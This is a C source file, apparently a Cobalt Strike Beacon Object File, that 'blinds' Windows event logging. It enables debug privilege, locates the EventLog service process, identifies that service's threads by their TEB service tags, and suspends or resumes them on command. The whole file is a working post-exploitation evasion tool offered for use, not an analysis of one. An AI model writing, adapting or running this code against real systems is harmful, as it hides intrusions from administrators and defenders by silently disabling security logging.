blindeventlog.c 7.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245
  1. #include <windows.h>
  2. #include <Strsafe.h>
  3. #include <tlhelp32.h>
  4. #include "blindeventlog.h"
  5. #include "beacon.h"
  6. #pragma comment(lib,"Advapi32.lib")
  7. #pragma comment(lib,"shell32.lib")
  8. //START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
  9. #ifndef bufsize
  10. #define bufsize 8192
  11. #endif
  12. char *output = 0;
  13. WORD currentoutsize = 0;
  14. HANDLE trash = NULL;
  15. int bofstart();
  16. void internal_printf(const char* format, ...);
  17. void printoutput(BOOL done);
  18. int bofstart() {
  19. output = (char*)MSVCRT$calloc(bufsize, 1);
  20. currentoutsize = 0;
  21. return 1;
  22. }
  23. void internal_printf(const char* format, ...){
  24. int buffersize = 0;
  25. int transfersize = 0;
  26. char * curloc = NULL;
  27. char* intBuffer = NULL;
  28. va_list args;
  29. va_start(args, format);
  30. buffersize = MSVCRT$vsnprintf(NULL, 0, format, args);
  31. va_end(args);
  32. if (buffersize == -1) return;
  33. char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
  34. intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
  35. va_start(args, format);
  36. MSVCRT$vsnprintf(intBuffer, buffersize, format, args);
  37. va_end(args);
  38. if(buffersize + currentoutsize < bufsize)
  39. {
  40. MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
  41. currentoutsize += buffersize;
  42. } else {
  43. curloc = intBuffer;
  44. while(buffersize > 0)
  45. {
  46. transfersize = bufsize - currentoutsize;
  47. if(buffersize < transfersize)
  48. {
  49. transfersize = buffersize;
  50. }
  51. MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
  52. currentoutsize += transfersize;
  53. if(currentoutsize == bufsize)
  54. {
  55. printoutput(FALSE);
  56. }
  57. MSVCRT$memset(transferBuffer, 0, transfersize);
  58. curloc += transfersize;
  59. buffersize -= transfersize;
  60. }
  61. }
  62. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
  63. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
  64. }
  65. void printoutput(BOOL done) {
  66. char * msg = NULL;
  67. BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
  68. currentoutsize = 0;
  69. MSVCRT$memset(output, 0, bufsize);
  70. if(done) {MSVCRT$free(output); output=NULL;}
  71. }
  72. //END TrustedSec BOF print code.
  73. BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
  74. HANDLE hToken;
  75. TOKEN_PRIVILEGES tp;
  76. LUID luid;
  77. if (!Advapi32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
  78. if (!Advapi32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) return FALSE;
  79. tp.PrivilegeCount = 1;
  80. tp.Privileges[0].Luid = luid;
  81. if (bEnablePrivilege)
  82. tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  83. else
  84. tp.Privileges[0].Attributes = 0;
  85. if (!Advapi32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) return FALSE;
  86. if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) return FALSE;
  87. return TRUE;
  88. }
  89. BOOL Eventlog(int action) {
  90. SERVICE_STATUS_PROCESS svcStatus;
  91. svcStatus.dwServiceType = 0;
  92. svcStatus.dwCurrentState = 0;
  93. svcStatus.dwControlsAccepted = 0;
  94. svcStatus.dwWin32ExitCode = 0;
  95. svcStatus.dwServiceSpecificExitCode = 0;
  96. svcStatus.dwCheckPoint = 0;
  97. svcStatus.dwWaitHint = 0;
  98. svcStatus.dwProcessId = 0;
  99. svcStatus.dwServiceFlags = 0;
  100. DWORD bytesNeeded = 0;
  101. HANDLE hSvcProc = NULL;
  102. HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
  103. THREADENTRY32 te32;
  104. THREAD_BASIC_INFORMATION threadBasicInfo;
  105. PVOID subProcessTag = NULL;
  106. BOOL bIsWoW64 = FALSE;
  107. DWORD dwOffset = NULL;
  108. BOOL result = FALSE;
  109. NtQueryInformationThread_t pNtQueryInformationThread = (NtQueryInformationThread_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
  110. I_QueryTagInformation_t pI_QueryTagInformation = (I_QueryTagInformation_t) GetProcAddress(GetModuleHandle("advapi32.dll"), "I_QueryTagInformation");
  111. SC_HANDLE sc = Advapi32$OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
  112. SC_HANDLE svc = Advapi32$OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);
  113. Advapi32$QueryServiceStatusEx(svc, SC_STATUS_PROCESS_INFO, (LPBYTE) &svcStatus, sizeof(svcStatus), &bytesNeeded);
  114. DWORD svcPID = svcStatus.dwProcessId;
  115. hSvcProc = KERNEL32$OpenProcess(PROCESS_VM_READ, FALSE, svcPID);
  116. if (hSvcProc == NULL) {
  117. BeaconPrintf(CALLBACK_ERROR,"Failed to open handle to eventlog process: %d\n", svcPID);
  118. return result;
  119. }
  120. internal_printf("[+] Opened handle to eventlog process: %d\n", svcPID);
  121. hThreadSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  122. if (hThreadSnap == INVALID_HANDLE_VALUE) return result;
  123. te32.dwSize = sizeof(THREADENTRY32);
  124. if (!KERNEL32$Thread32First(hThreadSnap, &te32)) {
  125. KERNEL32$CloseHandle(hThreadSnap);
  126. return result;
  127. }
  128. do {
  129. if (te32.th32OwnerProcessID == svcPID) {
  130. HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
  131. if (hThread == NULL) {
  132. return result;
  133. }
  134. NTSTATUS status = pNtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS) 0, &threadBasicInfo, sizeof(threadBasicInfo), NULL);
  135. bIsWoW64 = KERNEL32$IsWow64Process(hSvcProc, &bIsWoW64);
  136. if (!bIsWoW64)
  137. dwOffset = 0x1720;
  138. else
  139. dwOffset = 0xf60;
  140. KERNEL32$ReadProcessMemory(hSvcProc, ((PBYTE)threadBasicInfo.pTebBaseAddress + dwOffset), &subProcessTag, sizeof(subProcessTag), NULL);
  141. if (!subProcessTag) {
  142. KERNEL32$CloseHandle(hThread);
  143. continue;
  144. }
  145. SC_SERVICE_TAG_QUERY query = { 0 };
  146. if (pI_QueryTagInformation) {
  147. query.processId = (ULONG) svcPID;
  148. query.serviceTag = (ULONG) subProcessTag;
  149. query.reserved = 0;
  150. query.pBuffer = NULL;
  151. pI_QueryTagInformation(NULL, ServiceNameFromTagInformation, &query);
  152. if (MSVCRT$_wcsicmp((wchar_t *) query.pBuffer, L"eventlog") == 0) {
  153. if(action == 1 && KERNEL32$SuspendThread(hThread) != -1) {
  154. internal_printf("\t- Suspended Eventlog thread: %d\n", te32.th32ThreadID);
  155. result = TRUE;
  156. }
  157. else if (action == 2 && KERNEL32$ResumeThread(hThread) != -1) {
  158. internal_printf("\t- Resumed Eventlog thread: %d\n", te32.th32ThreadID);
  159. result = TRUE;
  160. }
  161. else {
  162. internal_printf("\t- [!] Failed to change the state of the Eventlog thread: %d\n", te32.th32ThreadID);
  163. result = FALSE;
  164. }
  165. }
  166. }
  167. KERNEL32$CloseHandle(hThread);
  168. }
  169. } while (KERNEL32$Thread32Next(hThreadSnap, &te32));
  170. KERNEL32$CloseHandle(hThreadSnap);
  171. KERNEL32$CloseHandle(hSvcProc);
  172. return result;
  173. }
  174. int go(char *args, int len) {
  175. BOOL res = NULL;
  176. CHAR *action;
  177. datap parser;
  178. BeaconDataParse(&parser, args, len);
  179. action = BeaconDataExtract(&parser, NULL);
  180. if(!bofstart()) return;
  181. if (!SetPrivilege(SE_DEBUG_NAME, ENABLE)) {
  182. BeaconPrintf(CALLBACK_ERROR, "Not enough privileges to interact with Eventlog.\n");
  183. return 0;
  184. }
  185. if (MSVCRT$strcmp(action, "suspend") == 0) {
  186. res = Eventlog(1);
  187. }
  188. else if (MSVCRT$strcmp(action, "resume") == 0) {
  189. res = Eventlog(2);
  190. }
  191. else {
  192. BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following options: suspend | resume\n");
  193. return 0;
  194. }
  195. if(!res) BeaconPrintf(CALLBACK_ERROR, "Failed to blind Eventlog!\n");
  196. else {
  197. printoutput(TRUE);
  198. //BeaconPrintf(CALLBACK_OUTPUT, "[+] Done");
  199. }
  200. return 0;
  201. }